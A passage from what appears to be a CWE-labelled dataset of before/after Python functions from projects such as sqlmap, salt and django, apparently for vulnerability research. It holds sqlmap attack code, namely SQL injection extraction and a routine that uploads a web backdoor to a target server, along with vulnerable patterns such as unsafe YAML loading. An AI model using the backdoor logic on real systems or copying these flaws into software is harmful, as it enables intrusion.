            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            injExpression = unescaper.escape(expression)
            where = vector[6]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if kb.jsonAggMode:
            for _page in (page or """", (page or """").replace('\\""', '""')):
                if Backend.isDbms(DBMS.MSSQL):
                    output = extractRegexResult(r""%s(?P<result>.*)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = """"
                            fields = re.findall(r'""([^""]+)"":', extractRegexResult(r""{(?P<result>[^}]+)}"", output))
                            for row in json.loads(output):
                                retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
                        except:
                            pass
                        else:
                            retVal = getUnicode(retVal)
                elif Backend.isDbms(DBMS.PGSQL):
                    output = extractRegexResult(r""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        retVal = output
                else:
                    output = extractRegexResult(r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = """"
                            for row in json.loads(output):
                                retVal += ""%s%s%s"" % (kb.chars.start, row, kb.chars.stop)
                        except:
                            pass
                        else:
                            retVal = getUnicode(retVal)

                if retVal:
                    break
        else:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
                )

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.jsonAggMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

            elif re.search(r""ORDER BY [^ ]+\Z"", expression):
                debugMsg = ""retrying failed SQL query without the ORDER BY clause""
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r""\s*ORDER BY [^ ]+\Z"", """", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)

            elif kb.nchar and re.search(r"" AS N(CHAR|VARCHAR)"", agent.nullAndCastField(expression)):
                debugMsg = ""turning off NATIONAL CHARACTER casting""  # NOTE: in some cases there are ""known"" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
                singleTimeDebugMessage(debugMsg)

                kb.nchar = False
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gtkUi/entries.py,0,"def _find(self, widget, direction):
        '''Actually find the text, and handle highlight and selection.'''
        # if not searching, don't do anything
        if not self.searching:
            return

        # get widgets and info
        self._clean()
        tosearch = self.search_entry.get_text()
        if not tosearch:
            return
        (ini, fin) = self.textbuf.get_bounds()
        alltext = self.textbuf.get_slice(ini, fin, True)

        if not self._matchCaseValue:
            alltext = alltext.lower()
            tosearch = tosearch.lower()

        # find the positions where the phrase is found
        positions = []
        pos = 0
        while True:
            try:
                pos = alltext.index(tosearch, pos)
            except ValueError:
                break
            fin = pos + len(tosearch)
            iterini = self.textbuf.get_iter_at_offset(pos)
            iterfin = self.textbuf.get_iter_at_offset(fin)
            positions.append((pos, fin, iterini, iterfin))
            pos += 1
        if not positions:
            self.search_entry.modify_base(gtk.STATE_NORMAL, self.bg_notfnd)
            self.textbuf.select_range(ini, ini)
            return

        # highlight them all
        for (ini, fin, iterini, iterfin) in positions:
            self.textbuf.apply_tag_by_name(""yellow-background"", iterini, iterfin)

        # find where's the cursor in the found items
        cursorpos = self.textbuf.get_property(""cursor-position"")
        for ind, (ini, fin, iterini, iterfin) in enumerate(positions):
            if ini >= cursorpos:
                keypos = ind
                break
        else:
            keypos = 0

        # go next or previos, and adjust in the border
        if direction == ""next"":
            keypos += 1
            if keypos >= len(positions):
                keypos = 0
        elif direction == ""previous"":
            keypos -= 1
            if keypos < 0:
                keypos = len(positions) - 1
        
        # mark and show it
        (ini, fin, iterini, iterfin) = positions[keypos]
        self.textbuf.select_range(iterini, iterfin)
        self.textview.scroll_to_iter(iterini, 0, False)",,andresriancho/w3af,b083965c13814b72926f22c09a09bdc56b33723c,"def _find(self, widget, direction):
        '''Actually find the text, and handle highlight and selection.'''
        # if not searching, don't do anything
        if not self.searching:
            return

        # get widgets and info
        self._clean()
        tosearch = self.search_entry.get_text()
        if not tosearch:
            return
        (ini, fin) = self.textbuf.get_bounds()
        alltext = self.textbuf.get_text(ini, fin)

        if not self._matchCaseValue:
            alltext = alltext.lower()
            tosearch = tosearch.lower()

        # find the positions where the phrase is found
        positions = []
        pos = 0
        while True:
            try:
                pos = alltext.index(tosearch, pos)
            except ValueError:
                break
            fin = pos + len(tosearch)
            iterini = self.textbuf.get_iter_at_offset(pos)
            iterfin = self.textbuf.get_iter_at_offset(fin)
            positions.append((pos, fin, iterini, iterfin))
            pos += 1
        if not positions:
            self.search_entry.modify_base(gtk.STATE_NORMAL, self.bg_notfnd)
            self.textbuf.select_range(ini, ini)
            return

        # highlight them all
        for (ini, fin, iterini, iterfin) in positions:
            self.textbuf.apply_tag_by_name(""yellow-background"", iterini, iterfin)

        # find where's the cursor in the found items
        cursorpos = self.textbuf.get_property(""cursor-position"")
        for ind, (ini, fin, iterini, iterfin) in enumerate(positions):
            if ini >= cursorpos:
                keypos = ind
                break
        else:
            keypos = 0

        # go next or previos, and adjust in the border
        if direction == ""next"":
            keypos += 1
            if keypos >= len(positions):
                keypos = 0
        elif direction == ""previous"":
            keypos -= 1
            if keypos < 0:
                keypos = len(positions) - 1
        
        # mark and show it
        (ini, fin, iterini, iterfin) = positions[keypos]
        self.textbuf.select_range(iterini, iterfin)
        self.textview.scroll_to_iter(iterini, 0, False)"
,UNKNOWN,UNKNOWN,salt/serializers/yaml.py,1,"def deserialize(stream_or_string, **options):
    '''
    Deserialize any string of stream like object into a Python data structure.

    :param stream_or_string: stream or string to deserialize.
    :param options: options given to lower yaml module.
    '''

    options.setdefault('Loader', Loader)
    try:
        return yaml.load(stream_or_string, **options)
    except ScannerError as error:
        err_type = ERROR_MAP.get(error.problem, 'Unknown yaml render error')
        line_num = error.problem_mark.line + 1
        raise DeserializationError(err_type,
                                   line_num,
                                   error.problem_mark.buffer)
    except ConstructorError as error:
        raise DeserializationError(error)
    except Exception as error:
        raise DeserializationError(error)",CWE-20,saltstack/salt,1d552cbcbe4174c6ce0e11da64cff50687aa80a4,"def deserialize(stream_or_string, **options):
    '''
    Deserialize any string of stream like object into a Python data structure.

    :param stream_or_string: stream or string to deserialize.
    :param options: options given to lower yaml module.
    '''

    options.setdefault('Loader', BaseLoader)
    try:
        return yaml.load(stream_or_string, **options)
    except ScannerError as error:
        err_type = ERROR_MAP.get(error.problem, 'Unknown yaml render error')
        line_num = error.problem_mark.line + 1
        raise DeserializationError(err_type,
                                   line_num,
                                   error.problem_mark.buffer)
    except ConstructorError as error:
        raise DeserializationError(error)
    except Exception as error:
        raise DeserializationError(error)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/proxy/junos.py,0,"def init(opts):
    """"""
    Open the connection to the Junos device, login, and bind to the
    Resource class
    """"""
    opts[""multiprocessing""] = False
    log.debug(""Opening connection to junos"")

    args = {""host"": opts[""proxy""][""host""]}
    optional_args = [
        ""user"",
        ""username"",
        ""password"",
        ""passwd"",
        ""port"",
        ""gather_facts"",
        ""mode"",
        ""baud"",
        ""attempts"",
        ""auto_probe"",
        ""ssh_private_key_file"",
        ""ssh_config"",
        ""normalize"",
        ""huge_tree"",
    ]

    if ""username"" in opts[""proxy""].keys():
        opts[""proxy""][""user""] = opts[""proxy""].pop(""username"")
    proxy_keys = opts[""proxy""].keys()
    for arg in optional_args:
        if arg in proxy_keys:
            args[arg] = opts[""proxy""][arg]
    log.debug(""Args: {}"".format(args))
    thisproxy[""conn""] = jnpr.junos.Device(**args)
    try:
        thisproxy[""conn""].open()
    except (
        ProbeError,
        ConnectAuthError,
        ConnectRefusedError,
        ConnectTimeoutError,
        ConnectError,
    ) as ex:
        log.error(""{} : not able to initiate connection to the device"".format(str(ex)))
        thisproxy[""initialized""] = False
        return

    if ""timeout"" in proxy_keys:
        timeout = int(opts[""proxy""][""timeout""])
        try:
            thisproxy[""conn""].timeout = timeout
        except Exception as ex:  # pylint: disable=broad-except
            log.error(""Not able to set timeout due to: %s"", str(ex))
        else:
            log.debug(""RPC timeout set to %d seconds"", timeout)

    try:
        thisproxy[""conn""].bind(cu=jnpr.junos.utils.config.Config)
    except Exception as ex:  # pylint: disable=broad-except
        log.error(""Bind failed with Config class due to: {}"".format(str(ex)))

    try:
        thisproxy[""conn""].bind(sw=jnpr.junos.utils.sw.SW)
    except Exception as ex:  # pylint: disable=broad-except
        log.error(""Bind failed with SW class due to: {}"".format(str(ex)))
    thisproxy[""initialized""] = True",,saltstack/salt,03973ee710df083d4e40ac77866a9aca09a6c3a3,"def init(opts):
    """"""
    Open the connection to the Junos device, login, and bind to the
    Resource class
    """"""
    opts[""multiprocessing""] = False
    log.debug(""Opening connection to junos"")

    args = {""host"": opts[""proxy""][""host""]}
    optional_args = [
        ""user"",
        ""username"",
        ""password"",
        ""passwd"",
        ""port"",
        ""gather_facts"",
        ""mode"",
        ""baud"",
        ""attempts"",
        ""auto_probe"",
        ""ssh_private_key_file"",
        ""ssh_config"",
        ""normalize"",
        ""huge_tree"",
    ]

    if ""username"" in opts[""proxy""].keys():
        opts[""proxy""][""user""] = opts[""proxy""].pop(""username"")
    proxy_keys = opts[""proxy""].keys()
    for arg in optional_args:
        if arg in proxy_keys:
            args[arg] = opts[""proxy""][arg]

    thisproxy[""conn""] = jnpr.junos.Device(**args)
    try:
        thisproxy[""conn""].open()
    except (
        ProbeError,
        ConnectAuthError,
        ConnectRefusedError,
        ConnectTimeoutError,
        ConnectError,
    ) as ex:
        log.error(""{} : not able to initiate connection to the device"".format(str(ex)))
        thisproxy[""initialized""] = False
        return

    if ""timeout"" in proxy_keys:
        timeout = int(opts[""proxy""][""timeout""])
        try:
            thisproxy[""conn""].timeout = timeout
        except Exception as ex:  # pylint: disable=broad-except
            log.error(""Not able to set timeout due to: %s"", str(ex))
        else:
            log.debug(""RPC timeout set to %d seconds"", timeout)

    try:
        thisproxy[""conn""].bind(cu=jnpr.junos.utils.config.Config)
    except Exception as ex:  # pylint: disable=broad-except
        log.error(""Bind failed with Config class due to: {}"".format(str(ex)))

    try:
        thisproxy[""conn""].bind(sw=jnpr.junos.utils.sw.SW)
    except Exception as ex:  # pylint: disable=broad-except
        log.error(""Bind failed with SW class due to: {}"".format(str(ex)))
    thisproxy[""initialized""] = True"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/base.py,1,"def init_connection_state(self):
        cursor = self.create_cursor()
        # Set the territory first. The territory overrides NLS_DATE_FORMAT
        # and NLS_TIMESTAMP_FORMAT to the territory default. When all of
        # these are set in single statement it isn't clear what is supposed
        # to happen.
        cursor.execute(""ALTER SESSION SET NLS_TERRITORY = 'AMERICA'"")
        # Set oracle date to ansi date format.  This only needs to execute
        # once when we create a new connection. We also set the Territory
        # to 'AMERICA' which forces Sunday to evaluate to a '1' in
        # TO_CHAR().
        cursor.execute(
            ""ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'""
            "" NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'""
            + ("" TIME_ZONE = 'UTC'"" if settings.USE_TZ else ''))
        cursor.close()
        if 'operators' not in self.__dict__:
            # Ticket #14149: Check whether our LIKE implementation will
            # work for this connection or we need to fall back on LIKEC.
            # This check is performed only once per DatabaseWrapper
            # instance per thread, since subsequent connections will use
            # the same settings.
            cursor = self.create_cursor()
            try:
                cursor.execute(""SELECT 1 FROM DUAL WHERE DUMMY %s""
                               % self._standard_operators['contains'],
                               ['X'])
            except DatabaseError: 
                self.operators = self._likec_operators
            else:
                self.operators = self._standard_operators
            cursor.close()

        # There's no way for the DatabaseOperations class to know the
        # currently active Oracle version, so we do some setups here.
        # TODO: Multi-db support will need a better solution (a way to
        # communicate the current version).
        if self.oracle_version is not None and self.oracle_version <= 9:
            self.ops.regex_lookup = self.ops.regex_lookup_9
        else:
            self.ops.regex_lookup = self.ops.regex_lookup_10

        try:
            self.connection.stmtcachesize = 20
        except:
            # Django docs specify cx_Oracle version 4.3.1 or higher, but
            # stmtcachesize is available only in 4.3.2 and up.
            pass",CWE-89,django/django,17e632929cdf9575f538c1f98379adac8698c288,"def init_connection_state(self):
        cursor = self.create_cursor()
        # Set the territory first. The territory overrides NLS_DATE_FORMAT
        # and NLS_TIMESTAMP_FORMAT to the territory default. When all of
        # these are set in single statement it isn't clear what is supposed
        # to happen.
        cursor.execute(""ALTER SESSION SET NLS_TERRITORY = 'AMERICA'"")
        # Set oracle date to ansi date format.  This only needs to execute
        # once when we create a new connection. We also set the Territory
        # to 'AMERICA' which forces Sunday to evaluate to a '1' in
        # TO_CHAR().
        cursor.execute(
            ""ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'""
            "" NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'""
            + ("" TIME_ZONE = 'UTC'"" if settings.USE_TZ else ''))
        cursor.close()
        if 'operators' not in self.__dict__:
            # Ticket #14149: Check whether our LIKE implementation will
            # work for this connection or we need to fall back on LIKEC.
            # This check is performed only once per DatabaseWrapper
            # instance per thread, since subsequent connections will use
            # the same settings.
            cursor = self.create_cursor()
            try:
                cursor.execute(""SELECT 1 FROM DUAL WHERE DUMMY %s""
                               % self._standard_operators['contains'],
                               ['X'])
            except utils.DatabaseError:
                self.operators = self._likec_operators
            else:
                self.operators = self._standard_operators
            cursor.close()

        # There's no way for the DatabaseOperations class to know the
        # currently active Oracle version, so we do some setups here.
        # TODO: Multi-db support will need a better solution (a way to
        # communicate the current version).
        if self.oracle_version is not None and self.oracle_version <= 9:
            self.ops.regex_lookup = self.ops.regex_lookup_9
        else:
            self.ops.regex_lookup = self.ops.regex_lookup_10

        try:
            self.connection.stmtcachesize = 20
        except:
            # Django docs specify cx_Oracle version 4.3.1 or higher, but
            # stmtcachesize is available only in 4.3.2 and up.
            pass"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/web.py,0,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the file stager""
        logger.info(infoMsg)

        default = None
        choices = ['asp', 'aspx', 'php', 'jsp']

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if kb.os == ""Windows"":
                default = ""asp""
            else:
                default = ""php""

        message  = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))
            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot  = getDocRoot(self.webApi)
        directories = getDirs(self.webApi)
        directories = list(directories)
        directories.sort()

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        for directory in directories:
            # Upload the file stager
            self.__webFileInject(stagerContent, stagerName, directory)
            requestDir  = ntToPosixSlashes(directory)

            if not requestDir:
                continue

            if requestDir[-1] != '/':
                requestDir += '/'

            requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), ""/"")

            if isWindowsDriveLetterPath(requestDir):
                requestDir = requestDir[2:]

            requestDir = normalizePath(requestDir).replace(""//"", ""/"")

            if requestDir[0] != '/':
                requestDir = '/' + requestDir

            self.webBaseUrl = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, requestDir)
            self.webStagerUrl = ""%s/%s"" % (self.webBaseUrl.rstrip('/'), stagerName)
            self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace(""./"", ""/""))
            uplPage, _  = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)

            if ""sqlmap file uploader"" not in uplPage:
                warnMsg  = ""unable to upload the file stager ""
                warnMsg += ""on '%s'"" % directory
                logger.warn(warnMsg)
                continue

            elif ""<%"" in uplPage or ""<?"" in uplPage:
                warnMsg  = ""file stager uploaded ""
                warnMsg += ""on '%s' but not dynamically interpreted ('%s')"" % (directory, self.webStagerUrl)
                logger.warn(warnMsg)
                continue

            infoMsg  = ""the file stager has been successfully uploaded ""
            infoMsg += ""on '%s' ('%s')"" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == ""asp"":
                runcmdName = ""tmpe%s.exe"" % randomStr(lowercase=True)
                runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                backdoorContent = originalBackdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", runcmdName)
                backdoorStream.file.truncate()
                backdoorStream.read()
                backdoorStream.seek(0)
                backdoorStream.write(backdoorContent)

                if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                    self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl.rstrip('/'), backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == ""Windows"" else directory):
                    warnMsg  = ""backdoor has not been successfully uploaded ""
                    warnMsg += ""with file stager probably because of ""
                    warnMsg += ""lack of write permission.""
                    logger.warn(warnMsg)

                    message  = ""do you want to try the same method used ""
                    message += ""for the file stager? [y/N] ""
                    getOutput = readInput(message, default=""N"")

                    if getOutput in (""y"", ""Y""):
                        self.__webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                self.webDirectory = directory

            infoMsg  = ""the backdoor has probably been successfully ""
            infoMsg += ""uploaded on '%s', go with your browser "" % self.webDirectory
            infoMsg += ""to '%s' and enjoy it!"" % self.webBackdoorUrl
            logger.info(infoMsg)

            break",,sqlmapproject/sqlmap,17f06092630d7098ec8411f360ab3a1b289096fc,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the file stager""
        logger.info(infoMsg)

        default = None
        choices = ['asp', 'aspx', 'php', 'jsp']

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if kb.os == ""Windows"":
                default = ""asp""
            else:
                default = ""php""

        message  = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))
            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot  = getDocRoot(self.webApi)
        directories = getDirs(self.webApi)
        directories = list(directories)
        directories.sort()

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        for directory in directories:
            # Upload the file stager
            self.__webFileInject(stagerContent, stagerName, directory)
            requestDir  = ntToPosixSlashes(directory)

            if requestDir[-1] != '/':
                requestDir += '/'

            requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), ""/"")

            if isWindowsDriveLetterPath(requestDir):
                requestDir = requestDir[2:]

            requestDir = normalizePath(requestDir).replace(""//"", ""/"")

            if requestDir[0] != '/':
                requestDir = '/' + requestDir

            self.webBaseUrl = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, requestDir)
            self.webStagerUrl = ""%s/%s"" % (self.webBaseUrl.rstrip('/'), stagerName)
            self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace(""./"", ""/""))
            uplPage, _  = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)

            if ""sqlmap file uploader"" not in uplPage:
                warnMsg  = ""unable to upload the file stager ""
                warnMsg += ""on '%s'"" % directory
                logger.warn(warnMsg)
                continue

            elif ""<%"" in uplPage or ""<?"" in uplPage:
                warnMsg  = ""file stager uploaded ""
                warnMsg += ""on '%s' but not dynamically interpreted ('%s')"" % (directory, self.webStagerUrl)
                logger.warn(warnMsg)
                continue

            infoMsg  = ""the file stager has been successfully uploaded ""
            infoMsg += ""on '%s' ('%s')"" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == ""asp"":
                runcmdName = ""tmpe%s.exe"" % randomStr(lowercase=True)
                runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                backdoorContent = originalBackdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", runcmdName)
                backdoorStream.file.truncate()
                backdoorStream.read()
                backdoorStream.seek(0)
                backdoorStream.write(backdoorContent)

                if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                    self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl.rstrip('/'), backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == ""Windows"" else directory):
                    warnMsg  = ""backdoor has not been successfully uploaded ""
                    warnMsg += ""with file stager probably because of ""
                    warnMsg += ""lack of write permission.""
                    logger.warn(warnMsg)

                    message  = ""do you want to try the same method used ""
                    message += ""for the file stager? [y/N] ""
                    getOutput = readInput(message, default=""N"")

                    if getOutput in (""y"", ""Y""):
                        self.__webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                self.webDirectory = directory

            infoMsg  = ""the backdoor has probably been successfully ""
            infoMsg += ""uploaded on '%s', go with your browser "" % self.webDirectory
            infoMsg += ""to '%s' and enjoy it!"" % self.webBackdoorUrl
            logger.info(infoMsg)

            break"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_get_num_task_instances(self):
        test_dag_id = ""test_get_num_task_instances_dag""
        test_task_id = ""task_1""

        test_dag = DAG(dag_id=test_dag_id, start_date=DEFAULT_DATE)
        test_task = EmptyOperator(task_id=test_task_id, dag=test_dag)

        dr1 = test_dag.create_dagrun(state=None, run_id=""test1"", execution_date=DEFAULT_DATE)
        dr2 = test_dag.create_dagrun(
            state=None, run_id=""test2"", execution_date=DEFAULT_DATE + datetime.timedelta(days=1)
        )
        dr3 = test_dag.create_dagrun(
            state=None, run_id=""test3"", execution_date=DEFAULT_DATE + datetime.timedelta(days=2)
        )
        dr4 = test_dag.create_dagrun(
            state=None, run_id=""test4"", execution_date=DEFAULT_DATE + datetime.timedelta(days=3)
        )

        ti1 = TI(task=test_task, run_id=dr1.run_id)
        ti1.state = None
        ti2 = TI(task=test_task, run_id=dr2.run_id)
        ti2.state = State.RUNNING
        ti3 = TI(task=test_task, run_id=dr3.run_id)
        ti3.state = State.QUEUED
        ti4 = TI(task=test_task, run_id=dr4.run_id)
        ti4.state = State.RUNNING
        session = settings.Session()
        session.merge(ti1)
        session.merge(ti2)
        session.merge(ti3)
        session.merge(ti4)
        session.commit()

        assert 0 == DAG.get_num_task_instances(test_dag_id, task_ids=[""fakename""], session=session)
        assert 4 == DAG.get_num_task_instances(test_dag_id, task_ids=[test_task_id], session=session)
        assert 4 == DAG.get_num_task_instances(
            test_dag_id, task_ids=[""fakename"", test_task_id], session=session
        )
        assert 1 == DAG.get_num_task_instances(
            test_dag_id, task_ids=[test_task_id], states=[None], session=session
        )
        assert 2 == DAG.get_num_task_instances(
            test_dag_id, task_ids=[test_task_id], states=[State.RUNNING], session=session
        )
        assert 3 == DAG.get_num_task_instances(
            test_dag_id, task_ids=[test_task_id], states=[None, State.RUNNING], session=session
        )
        assert 4 == DAG.get_num_task_instances(
            test_dag_id, task_ids=[test_task_id], states=[None, State.QUEUED, State.RUNNING], session=session
        )
        session.close()",CWE-703,apache/airflow,1ebeb19bf7542850fff2f1e2f9795ad70c1b24e2,"def test_get_num_task_instances(self):
        test_dag_id = ""test_get_num_task_instances_dag""
        test_task_id = ""task_1""

        test_dag = DAG(dag_id=test_dag_id, start_date=DEFAULT_DATE)
        test_task = EmptyOperator(task_id=test_task_id, dag=test_dag)

        dr1 = test_dag.create_dagrun(state=None, run_id=""test1"", execution_date=DEFAULT_DATE)
        dr2 = test_dag.create_dagrun(
            state=None, run_id=""test2"", execution_date=DEFAULT_DATE + datetime.timedelta(days=1)
        )
        dr3 = test_dag.create_dagrun(
            state=None, run_id=""test3"", execution_date=DEFAULT_DATE + datetime.timedelta(days=2)
        )
        dr4 = test_dag.create_dagrun(
            state=None, run_id=""test4"", execution_date=DEFAULT_DATE + datetime.timedelta(days=3)
        )

        ti1 = TI(task=test_task, run_id=dr1.run_id)
        ti1.state = None
        ti2 = TI(task=test_task, run_id=dr2.run_id)
        ti2.state = State.RUNNING
        ti3 = TI(task=test_task, run_id=dr3.run_id)
        ti3.state = State.QUEUED
        ti4 = TI(task=test_task, run_id=dr4.run_id)
        ti4.state = State.RUNNING
        session = settings.Session()
        session.merge(ti1)
        session.merge(ti2)
        session.merge(ti3)
        session.merge(ti4)
        session.commit()

        assert 0 == DAG.get_num_task_instances(test_dag_id, [""fakename""], session=session)
        assert 4 == DAG.get_num_task_instances(test_dag_id, [test_task_id], session=session)
        assert 4 == DAG.get_num_task_instances(test_dag_id, [""fakename"", test_task_id], session=session)
        assert 1 == DAG.get_num_task_instances(test_dag_id, [test_task_id], states=[None], session=session)
        assert 2 == DAG.get_num_task_instances(
            test_dag_id, [test_task_id], states=[State.RUNNING], session=session
        )
        assert 3 == DAG.get_num_task_instances(
            test_dag_id, [test_task_id], states=[None, State.RUNNING], session=session
        )
        assert 4 == DAG.get_num_task_instances(
            test_dag_id, [test_task_id], states=[None, State.QUEUED, State.RUNNING], session=session
        )
        session.close()"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def test_root_static_path(self):
        # Sometimes people set the StaticFileHandler's path to '/'
        # to disable Tornado's path validation (in conjunction with
        # their own validation in get_absolute_path). Make sure
        # that the stricter validation in 4.2.1 doesn't break them.
